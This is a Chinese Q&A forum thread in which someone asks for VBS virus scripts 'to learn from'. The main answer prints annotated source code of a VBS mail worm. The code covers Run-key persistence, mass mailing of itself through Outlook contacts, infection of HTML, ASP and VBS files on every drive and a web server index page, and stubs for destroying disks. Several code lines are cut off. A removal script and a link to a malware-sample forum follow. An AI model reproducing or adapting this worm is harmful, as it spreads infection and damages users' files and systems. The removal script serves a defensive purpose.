求一些vbs病毒的脚本

谁有VBS的病毒脚本给一些,拿来学习的
2024-12-23 07:22:38
推荐回答(3个)
回答1:

  要学习 VBS,具有一些VB的基础知识就够了。
  这个病毒的主要攻击方法是:通过网络及邮件进行传播,并且不断地向目标邮件服
  务器发送大量邮件,并且在传染过程中检测网络主机的名称中是否有目标字符,如
  果有则进行破坏攻击。
  下面将结合具体的程序逐步进行介绍,由于篇幅关系,对一些语句进行了缩减。
  '@ thank you! make use of other person to get rid of an enemy, white trap _2001
  ''开场白,第一个字符“@”是这个病毒传染时的标记
  on error resume next ''这一句很重要,主要是在程序执行时如果发生错误就接着
  ''执行下一条语句,防止谈出出错对话框,否则就不能偷偷
  ''的干坏事啦。这里有一个技巧,就是在程序编制调试阶段,
  ''最好不要这一条语句,因为它会忽略错误,使你的调试工
  ''作不易完成。
  dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str
  dim defpath, smailc, MAX_SIZE, whb(), title(10) ''声明各个变量
  smailc = 4
  Redim whb(smailc)
  whb(0) = "pr@witehous.gov"
  ...
  whb(3) = "ms@witehous.gov"
  ''以上这四个邮件地址就是被攻击的目标,当然已经进行了修改,不是真实地址
  title(0) = "Thanks for helping me!"
  ...
  title(8) = "the sitting is open!"
  title(9) = ""
  ''以上这十条字符串是病毒执行时随机显示在IE标题栏里的信息。如果你的IE标题栏
  ''显示了其中的某条信息,呵呵,一定要接着往下看
  defpath = "C:\Readme.html" ''将随邮件一起发送的病毒体
  MAX_SIZE = 100000
  MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"
  HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"
  ''定义两个注册表的键值变量
  main ''执行主函数

  ''下面就是程序中所需的各个函数的定义部分,整个VBS程序将由windows目录中的
  ''WScript.exe文件解释执行,如果将这个文件改名或删除,当然VBS程序也就不能执行
  ''了,如此便阻止了病毒的执行。在用杀毒软件杀毒时,往往病毒传播的速度要比杀
  ''毒的速度快,如果出现这种情况,应该先将WScript.exe文件改名,阻止病毒传播,
  ''等杀完毒后,再改回来,不致影响其他正常的VBS程序的执行。
  sub main()
  on error resume next
  dim w_s
  w_s= WScript.ScriptFullName ''得到此文件名称
  if w_s = "" then
  Err.Clear
  set fso = CreateObject("Scripting.FileSystemObject")
  ''随着VB编程语言的完善,微软也推出了一种全新的文件操作方法:文件系
  ''统对象(FileSystemObject)。这个对象,及一些相关对象,封装了所有
  ''的文件操作。这个病毒程序基本展示了所有的这些操作,因此,如果您要
  ''利用VBS进行文件操作编程,将这个病毒源码作为参考文档,肯定不错。
  if getErr then
  Randomize
  ra = int(rnd() * 7)
  doucment.write title(ra)
  ExecuteMail ''打开有毒的页面
  else
  ExecutePage ''赋值成功,进行传染,攻击
  end if
  else
  ExecuteVbs ''从病毒体文件“system.dll”提取病毒
  end if
  end sub

  Function getErr()
  ''本函数主要是检测前一条语句是否成功返回了Scripting.FileSystemObject对象,
  ''内容略
  end function

  sub ExecutePage()
  dim Html_Str,adi,vf,wdf, wdf2,wdf3,wdsf, wdsf2
  Vbs_Str = GetScriptCode("vbscript") ''获得此程序的VBScript code
  Js_Str = GetJavaScript()
  Code_Str = MakeScript(encrypt(Vbs_str),true) ''进行加密处理
  Html_Str = MakeHtml(encrypt(Vbs_str), true)
  Gf
  wdsf = w2 & "Mdm.vbs"
  wdsf2 = w1 & "Profile.vbs"
  wdf = w2 & "user.dll"
  wdf2 = w2 & "Readme.html"
  wdf3 = w2 & "system.dll"

  set vf = fso.OpenTextFile (wdf, 2, true)
  vf.write Vbs_Str
  vf.close
  ''仅用以上三条语句便完成了病毒体文件 "user.dll"的制作,其中对象函数
  ''OpenTextFile (wdf, 2, true)的三个参数分别是:
  ''①文件名,②读=1或写=2,③文件不存在时是否创建;
  ''当前,FileSystemObject对于文本文件的操作有较强的优势,对binary文件
  ''的操作还有待加强。下面依次生成其他的文件,内容略

  Writereg MSWKEY & "CurrentVersion\Run\Mdm", wdsf, ""
  Writereg MSWKEY & "CurrentVersion\RunServices\Profile", wdsf2, ""
  ''将Mdm.vbs,Profile.vbs两个脚本文件加入到启动组当中,随Win启动自动执行
  SendMail
  Hackpage
  if TestUser then
  Killhe
  else
  mk75
  end if
  set adi = fso.Drives ''所有驱动器对象
  for each x in adi ''遍历所有的驱动器
  if x.DrivesType = 2 or x.DrivesType = 3 then
  call SearchHTML(x & "\")
  end if
  next
  if fso.FileExists(defpath) then fso.DeleteFile defpath
  ''如果存在"C:\Readme.html" ,就删除它
  end sub

  sub ExecuteMail()
  ''此函数制作病毒文件"C:\Readme.html" ,并打开它,
  ''由这一段程序,可以看出VBS的简洁高效
  on error resume next
  Vbs_Str = GetScriptCode("vbscript")
  Js_Str = GetJavaScript()
  Set Stl = CreateObject("Scriptlet.TypeLib")
  with Stl
  .Reset
  .Path = defpath
  .Doc = MakeHtml(encrypt(Vbs_str), true)
  .Write()
  end with
  window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no"
  end sub

  sub ExecuteVbs()
  on error resume next
  dim x, adi, wvbs, ws, vf
  set fso = CreateObject("Scripting.FileSystemObject")
  set wvbs = CreateObject("WScript.Shell")
  Gf
  wvbs.RegWrite MSWKEY & "Windows Scripting Host\Setings\Timeout", 0, "REG_DWORD"
  set vf = fso.OpenTextFile (w2 & "system.dll", 1)
  Code_Str = vf.ReadAll()
  vf.close
  Hackpage
  SendMail
  if TestUser then
  Killhe
  else
  mk75
  end if
  set adi = fso.Drives
  for each x in adi
  if x.DrivesType = 2 or x.DrivesType = 3 then
  call SearchHTML(x & "\")
  end if
  next
  end sub

  sub Gf()
  w1=fso.GetSpecialFolder(0) & "\" ''获得Windows的路径名,
  w2=fso.GetSpecialFolder(1) & "\" ''获得系统文件夹路径名
  end sub

  function Readreg(key_str)
  set tmps = CreateObject("WScript.Shell")
  Readreg = tmps.RegRead(key_str)
  set tmps = Nothing
  end function

  function Writereg(key_str, Newvalue, vtype)
  ''对注册表进行写入操作,读操作类似,可以由此看到vbs的注册表操作非常简单明了。
  set tmps = CreateObject("WScript.Shell")
  if vtype="" then
  tmps.RegWrite key_str, Newvalue
  else
  tmps.RegWrite key_str, Newvalue, vtype
  end if
  set tmps = Nothing ''关闭不用的资源,算是病毒的良好行为
  end function

  function MakeHtml(Sbuffer, iHTML)
  ''制作html文件的内容
  dim ra
  Randomize
  ra = int(rnd() * 7)
  MakeHtml="<" & "HTML><" & "HEAD><" & "TITLE>" & title(ra) & "<" & "/HEAD>" & _
  "" & vbcrlf & MakeScript(Sbuffer, iHTML) & vbcrlf & _
  "<" & "/BOAD><" & "/HTML>"
  end Function

  function MakeScript(Codestr, iHTML)
  ''制作病毒的可执行script code
  if iHTML then
  dim DocuWrite
  DocuWrite = "document.write('<'+" & "'SCRIPT Language=JavaScript>\n'+" & _
  "jword" & "+'\n');"
  DocuWrite = DocuWrite & vbcrlf & "document.write('<'+" & "'SCRIPT Language=VBScript>\n'+" & _
  "nword" & "+'\n');"
  MakeScript="<" & "SCRIPT Language=JavaScript>" & vbcrlf & "var jword = " & _
  chr(34) & encrypt(Js_Str) & chr(34) & vbcrlf & "var nword = " & _
  chr(34) & Codestr & chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _
  "jword = unescape(jword);" & vbcrlf & DocuWrite & vbcrlf & ""
  else
  MakeScript= "<" & "SCRIPT Language=JavaScript>" & Codestr & ""
  end if
  end function

  function GetScriptCode(Languages)
  ''此函数获得运行时的Script code,
  ''内容略
  end function

  function GetJavaScript()
  GetJavaScript = GetScriptCode("javascript")
  end function

  function TestUser()
  ''此函数通过键值检测网络主机是否是攻击目标
  ''内容略
  end function

  function mk75()
  ''检测日期是否符合,如果符合,发控制台命令,使系统瘫痪
  end function

  function SendMail()
  ''利用outlook发送携带病毒体的邮件,Microsoft Outlook是可编程桌面信息管理程序,
  ''outlook可以作为一个自动化服务器(Automation servers),因此很容易实现自动发送
  ''邮件,从这里也可以看出,先进的东西难免会被反面利用,如果你也想用程序控制发送
  ''邮件,可以仔细研究下面的代码,
  on error resume next
  dim wab,ra,j, Oa, arrsm, eins, Eaec, fm, wreg, areg,at
  Randomize
  at=fso.GetSpecialFolder(1) & "\Readme.html" ''要发送的附件文件
  set Oa = CreateObject("Outlook.Application") ''制作outlook对象
  set wab = Oa.GetNameSpace("MAPI") ''取得Outlook MAPI名字空间
  for j = 1 to wab.AddressLists.Count ''遍历所有联系人
  eins = wab.AddressLists(j)
  wreg=Readreg (HCUW & eins)
  if (wreg="") then wreg = 1
  Eaec = eins.AddressEntries.Count ''地址表的Email记录数
  if (Eaec > Int(wreg)) then
  for x = 1 to Eaec
  arrsm = wab.AddressEntries(x)
  areg = Readreg(HCUW & arrsm)
  ''读注册表中的标记,避免重复发送
  if (areg = "") then
  set fm = wab.CreateItem(0) ''创建新邮件
  with fm
  ra = int(rnd() * 7)
  .Recipients.Add arrsm ''收件人
  .Subject = title(ra) ''邮件的标题
  .Body = title(ra) ''邮件的正文内容
  .Attachments at ''病毒文件作为附件
  .Send ''发送邮件
  Writereg HCUW & arrsm, 1, "REG_DWORD"
  end with
  end if
  next
  end if
  Writereg HCUW & eins, Eaec, ""
  next
  set Oa = Nothing
  window.setTimeout "SendMail()", 10000 ''每100秒发送一次
  end function

  sub SearchHTML(Path)
  ''这个函数递归搜索所有需感染的文件,如果你想批量处理文件,这是非常典型
  ''的样例代码
  on error resume next
  dim pfo, psfo, pf, ps, pfi, ext
  if instr(Path, fso.GetSpecialFolder(2)) > 0 then exit sub
  ''fso.GetSpecialFolder(2)获得临时文件夹路径名,
  ''fso.GetSpecialFolder(0)获得Windows的路径名,
  ''fso.GetSpecialFolder(1)获得系统文件夹路径名
  set pfo = fso.GetFolder(Path)
  set psfo = pfo.SubFolders
  for each ps in psfo
  SearchHTML(ps.Path)
  set pf = ps.Files
  for each pfi in pf
  ext = LCase(fso.GetExtensionName(pfi.Path))
  if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then
  if Code_Str<>"" then AddHead pfi.Path, pfi, 1
  elseif ext= "vbs" then
  AddHead pfi.Path,pfi, 2
  end if
  next
  next
  end sub

  sub Killhe()
  ''看函数名就知道硬盘又要倒霉啦
  end sub

  sub Hackpage()
  dim fi
  H = "C:\InetPut\wwwroot"
  if fso.FolderExists(H) then
  set fi = fso.GetFile(H & "\index.htm")
  AddHead H & "\index.htm",fi,1
  end if
  end sub

  sub AddHead(Path, f, t)
  ''这个函数负责感染文件,之所以不进行省略,因为在后面编制杀毒程序时要用到这一段。
  on error resume next
  dim tso, buffer,sr
  if f.size > MAX_SIZE then exit sub
  set tso = fso.OpenTextFile(Path, 1, true)
  buffer = tso.ReadAll()
  tso.close
  if (t = 1) then
  ''如果是"htm","plg", "asp" 文件,则在其中加入病毒代码
  if UCase(Left(LTrim(buffer), 7)) <> "  set tso = fso.OpenTextFile(Path, 2, true)
  tso.Write Code_Str & vbcrlf & buffer
  tso.close
  end if
  else ''否则,用病毒体程序覆盖掉原文件,这个有点损
  if mid(buffer, 3, 2) <> "'@" then
  tso.close
  sr=w2 & "user.dll"
  if fso.FileExists(sr) then fso.CopyFile sr, Path
  end if
  end if
  end sub
  ''以上对病毒源码进行了分析,是不是有所收获,赶快打开纪事本,亲自开发一个vbs
  ''程序吧,“水能载舟,亦能覆舟”,就编一个清除它的杀毒程序,算是本文的加强练习。
  ''
  ''感兴趣的朋友可以看一下笔者根据源程序改编的杀毒程序。

  附:
  ''''''''kill75.vbs''''''''''''
  '本程序由源病毒码修改而成
  Dim fso, w1, w2, MSWKEY, HCUW
  Dim defpath
  Dim bdNUM ''记录杀除病毒文件的个数
  Const MAX_SIZE = 100000
  main

  Sub main()
  On Error Resume Next
  bdNUM=0
  defpath = "C:\Readme.html"
  MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"
  HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"
  Err.Clear
  Set fso = CreateObject("Scripting.FileSystemObject")
  ExecuteKill
  End Sub
  Sub ExecuteKill()
  On Error Resume Next
  Dim adi, vf, wdf, wdf2, wdf3, wdsf, wdsf2
  Gf
  wdsf = w2 & "Mdm.vbs"
  wdsf2 = w1 & "Profile.vbs"
  wdf = w2 & "user.dll"
  wdf2 = w2 & "Readme.html"
  wdf3 = w2 & "system.dll"

  If fso.FileExists(wdsf) Then fso.DeleteFile wdsf: bdNUM = bdNUM + 1
  If fso.FileExists(wdsf2) Then fso.DeleteFile wdsf2: bdNUM = bdNUM + 1
  If fso.FileExists(wdf) Then fso.DeleteFile wdf: bdNUM = bdNUM + 1
  If fso.FileExists(wdf2) Then fso.DeleteFile wdf2: bdNUM = bdNUM + 1
  If fso.FileExists(wdf3) Then fso.DeleteFile wdf3: bdNUM = bdNUM + 1
  If fso.FileExists(w2 & "75.htm") Then fso.DeleteFile w2 & "75.htm": bdNUM = bdNUM + 1
  If fso.FileExists(defpath) Then fso.DeleteFile defpath: bdNUM = bdNUM + 1

  DeleteReg MSWKEY & "CurrentVersion\Run\Mdm"
  DeleteReg MSWKEY & "CurrentVersion\RunServices\Profile"
  DeleteReg MSWKEY & "CurrentVersion\Run\75"

  Set adi = fso.Drives
  For Each x In adi
  If x.DrivesType = 2 Or x.DrivesType = 3 Then
  Call SearchHTML(x & "\")
  End If
  Next
  End Sub

  Sub Gf()
  w1 = fso.GetSpecialFolder(0) & "\"
  w2 = fso.GetSpecialFolder(1) & "\"
  End Sub

  Function DeleteReg(key_str)
  Set tmps = CreateObject("WScript.Shell")
  tmps.RegDelete key_str
  Set tmps = Nothing
  End Function

  Sub SearchHTML(Path)
  On Error Resume Next
  Dim pfo, psfo, pf, ps, pfi, ext
  If InStr(Path, fso.GetSpecialFolder(2)) > 0 Then Exit Sub
  Set pfo = fso.GetFolder(Path)
  Set psfo = pfo.SubFolders
  For Each ps In psfo
  SearchHTML (ps.Path)
  Set pf = ps.Files
  For Each pfi In pf
  FileLabel.Caption = pfi
  DoEvents
  ext = LCase(fso.GetExtensionName(pfi.Path))
  If InStr(ext, "htm") > 0 Or ext = "plg" Or ext = "asp" Then
  CutHead pfi.Path, pfi, 1
  ElseIf ext = "vbs" Then
  CutHead pfi.Path, pfi, 2
  End If
  Next
  Next
  End Sub

  Sub CutHead(Path, f, t)
  On Error Resume Next
  Dim tso, buffer, sr, wz, fbuf
  Set tso = fso.OpenTextFile(Path, 1, True)
  buffer = tso.ReadAll()
  tso.Close
  If (t = 1) Then
  If UCase(Left(LTrim(buffer), 7)) = "  If InStr(1, buffer, "jword") > 0 Then
  wz = InStr(1, buffer, "")
  If wz > 10000 Then
  fbuf = Right(buffer, Len(buffer) - wz - 10)
  Set tso = fso.OpenTextFile(Path, 2, True)
  tso.Write fbuf
  tso.Close
  bdNUM = bdNUM + 1
  DoEvents
  End If
  End If
  End If
  Else
  If Mid(buffer, 3, 2) = "'@" Then
  re = MsgBox("是否想删除:" + Path + ",它可能已经变成了75病毒", vbYesNo)
  If (re = vbYes) Then
  tso.Delete
  bdNUM = bdNUM + 1
  DoEvents
  End If
  End If
  End If
  End Sub
  Function getErr()
  If Err.Number <> 0 Then
  getErr = True
  Err.Clear
  Else
  getErr = False
  End If
  End Function

回答2:

卡饭论坛样本区有很多,百度搜索vbs site:kafan.cn能找到
http://bbs.kafan.cn/viewthread.php?tid=218602

回答3:

好强啊